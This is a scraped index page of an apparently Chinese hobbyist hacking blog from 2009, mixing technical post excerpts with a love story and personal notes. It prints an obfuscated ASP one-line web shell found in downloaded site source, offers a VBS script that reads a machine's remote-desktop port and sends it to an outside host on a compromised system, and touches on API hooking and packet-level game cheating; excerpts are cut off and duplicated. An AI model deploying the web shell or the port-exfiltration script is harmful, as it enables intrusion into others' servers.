2008-06-10 12:20:55
长路漫漫，并不孤单!
置顶:
|
 |
[ 2008-05-19 14:10:25 | 作者: Admin ]
置顶:
|
|
[ 2008-04-20 21:29:29 | 作者: Admin ]
在某网站下的源码里清除的后门代码 |
[ 2009-06-20 12:51:51 | 作者: Admin ]
今天朋友传来一网站源码，说是网上下载的，我就简单的看了看，发现
index_server_list.asp里存在后门代码，具体的代码如下，各位相信百度也能找到不少同类的站点，
阅读全文…
index_server_list.asp里存在后门代码，具体的代码如下，各位相信百度也能找到不少同类的站点，
<%
msco="%%%% fi dne )""tenzzba""(tseuqer lave neht ""ten""= )""zzba""(tseuqer fI%%%%%"
execute(Unlin(msco))
function Unlin(bb)
for i = 1 to len(bb)
if mid(bb,i,1)<>"%" then
tmp = Mid(bb, i, 1) + tmp
else
tmp=vbcrlf&tmp
end if
...msco="%%%% fi dne )""tenzzba""(tseuqer lave neht ""ten""= )""zzba""(tseuqer fI%%%%%"
execute(Unlin(msco))
function Unlin(bb)
for i = 1 to len(bb)
if mid(bb,i,1)<>"%" then
tmp = Mid(bb, i, 1) + tmp
else
tmp=vbcrlf&tmp
end if
阅读全文…
您没有阅读此日志的权限。
一段永远没有句号的爱情 |
[ 2009-06-15 03:44:40 | 作者: Admin ]
今天无意中在报纸上看到了一篇文章，写的很真实，但不够浪漫，因为没有结局，也不会有结局，不过我认为没有结局比有结局更完美，因为好的结局会破坏两个家庭，坏的结局是大家都不想看到的。，有两个80后的人出生在两个不同的家庭，女孩从小天真活泼可爱，男孩从小就调皮捣蛋，不求上进，整天逃学，男孩比女孩大4岁，从小就很喜欢女孩，不过他很清楚，在农村找媳妇基本都是女大男小，比自己小的恐怕只能是想想算了，何况小4岁呢！男孩也就把对女孩的这份爱一直压在心中，女孩还是依旧可爱，天真活泼的她哪里知道背后已经有人在偷偷的喜欢她了，就这样时间过的很快，女孩很快读高中了，男孩却早已在家务农，很快就结了婚，当时女孩才16岁，还正是一个花季少女，一朵含苞未放的玫瑰，不过此时的女孩也开始学着谈恋爱了，高中毕业之后她已经长成大姑娘了，很快就参加了工作，20岁那年她结婚了，男孩知道后暗自为她祈祷，祈祷她的心上人能过上好日子，可是老...
阅读全文…
阅读全文…
function WriteProcessMemoryHookProc(Hprocess:THandle;lpbaseaddress:Pointer;lpbuffer:Pointer;nsize:dword;lpnumberofbyteswritten:DWORD): BOOL; stdcall;
var
s:string;
begin
Result:=WriteProcessmemoryNext(Hprocess,Lpbaseaddress,lpbuffer,nsize,lpnumberofbyteswritten);
s:='地址:'+IntToHex(LongWord(lpbaseaddress),8) + ' 内容:'+IntToHex(Integer(lpbuffer^),8) +' 大小：'+ inttostr(nsize);
OutputDebugString(PChar(s));
end;
var
s:string;
begin
Result:=WriteProcessmemoryNext(Hprocess,Lpbaseaddress,lpbuffer,nsize,lpnumberofbyteswritten);
s:='地址:'+IntToHex(LongWord(lpbaseaddress),8) + ' 内容:'+IntToHex(Integer(lpbuffer^),8) +' 大小：'+ inttostr(nsize);
OutputDebugString(PChar(s));
end;
delphi 两个函数 |
[ 2009-05-11 22:20:48 | 作者: Admin ]
function ExtractResourceToFile(Instance: THandle; Name, ResType, FileName: PChar): boolean;
var
res: HRSRC;
gl: HGLOBAL;
lp: Pointer;
fp: THandle;
WriteBytes: DWORD;
begin
result := true;
res := FindResource(Instance, Name, ResType);
if res = 0 then
begin
result := false;
exit;
end;
gl := LoadResource(Instance, res);
if gl = 0 then
begin
...var
res: HRSRC;
gl: HGLOBAL;
lp: Pointer;
fp: THandle;
WriteBytes: DWORD;
begin
result := true;
res := FindResource(Instance, Name, ResType);
if res = 0 then
begin
result := false;
exit;
end;
gl := LoadResource(Instance, res);
if gl = 0 then
begin
阅读全文…
解决IIS无法解析.ini文件的记录 |
[ 2009-05-09 00:32:07 | 作者: Admin ]
1.打开“IIS管理器（Internet Information Services (IIS) Manager）”
2.选择到你的站点。单击右键。选择“属性（Properties）”
3.单击“HTTP 头（HTTP Headers）”选项卡
4.单击“MIME 类型（MIME Types）”
5.单击“新建(NEW)”
6.在“扩展名（Extension）”框中，输入文件扩展名，这里是ini
7.在“MIME 类型（MIME Types）”框中，输入该扩展名的说明。这里输入的是application/octet-stream
2.选择到你的站点。单击右键。选择“属性（Properties）”
3.单击“HTTP 头（HTTP Headers）”选项卡
4.单击“MIME 类型（MIME Types）”
5.单击“新建(NEW)”
6.在“扩展名（Extension）”框中，输入文件扩展名，这里是ini
7.在“MIME 类型（MIME Types）”框中，输入该扩展名的说明。这里输入的是application/octet-stream
发个远程开启并获取3389端口的VBS |
[ 2009-05-04 06:24:56 | 作者: Admin ]
在某些时候，没有CMD返回的时候可能用的着，开启终端口远程接收+开启 VBS脚本
阅读全文…
Set OperationRegistry=WScript.createObject("WScript.Shell")
Dim TSPort,TSState,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSPort=OperationRegistry.RegRead(TSRegPath)
Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.langke.org/xxxx/ro.asp?port=" & TSPort,0
...Dim TSPort,TSState,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSPort=OperationRegistry.RegRead(TSRegPath)
Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.langke.org/xxxx/ro.asp?port=" & TSPort,0
阅读全文…
收集的winsock比较全的说明 |
[ 2009-04-29 23:07:25 | 作者: Admin ]
VB WinSock 发送封包&脱机外挂原理和举例
1.连接请求
2.连接成功
3.发送数据
4.判断接收数据
而脱机挂 主要也是用封包组成 通过程序的计算 把封包解密加密进行读取
简单的来说 就是模拟一个游戏客户端
现在网游的检测越来越强大了,脱机挂也就越来越难做了
先找个比较菜的游戏试试吧
下面来说说一些winsock函数和方法
byte received 接收到的字节数
local hostname 本地机器名
Local IP 本地IP地址
Local port 本地通信程序的端口
Remote host 远程机器名
Remote host IP 远程IP地址
Remote port 远程通信程序端口
Socket handle 提供调用API得句柄参数
State 连接得当前状态
...
阅读全文…
1.连接请求
2.连接成功
3.发送数据
4.判断接收数据
而脱机挂 主要也是用封包组成 通过程序的计算 把封包解密加密进行读取
简单的来说 就是模拟一个游戏客户端
现在网游的检测越来越强大了,脱机挂也就越来越难做了
先找个比较菜的游戏试试吧
下面来说说一些winsock函数和方法
byte received 接收到的字节数
local hostname 本地机器名
Local IP 本地IP地址
Local port 本地通信程序的端口
Remote host 远程机器名
Remote host IP 远程IP地址
Remote port 远程通信程序端口
Socket handle 提供调用API得句柄参数
State 连接得当前状态
...
阅读全文…
断断续续，博客开了停了，已经有四五次了吧，这次应该会长久些了，爱不爱的，你也别再盯着我了，我怕你。。。。。。。。希望希望，这次别再像上次一样，我会努力更新下blog的，再也是VB觉的是时候丢了，太多东西没法完成了，转入下个环节吧，跟着某牛人学学delphi，牛人说也不是好难的，15天就基本上会了，可是，我一教程，就能在办公桌上看的睡着。。。。。真是郁闷了！！！努力吧
订阅地址
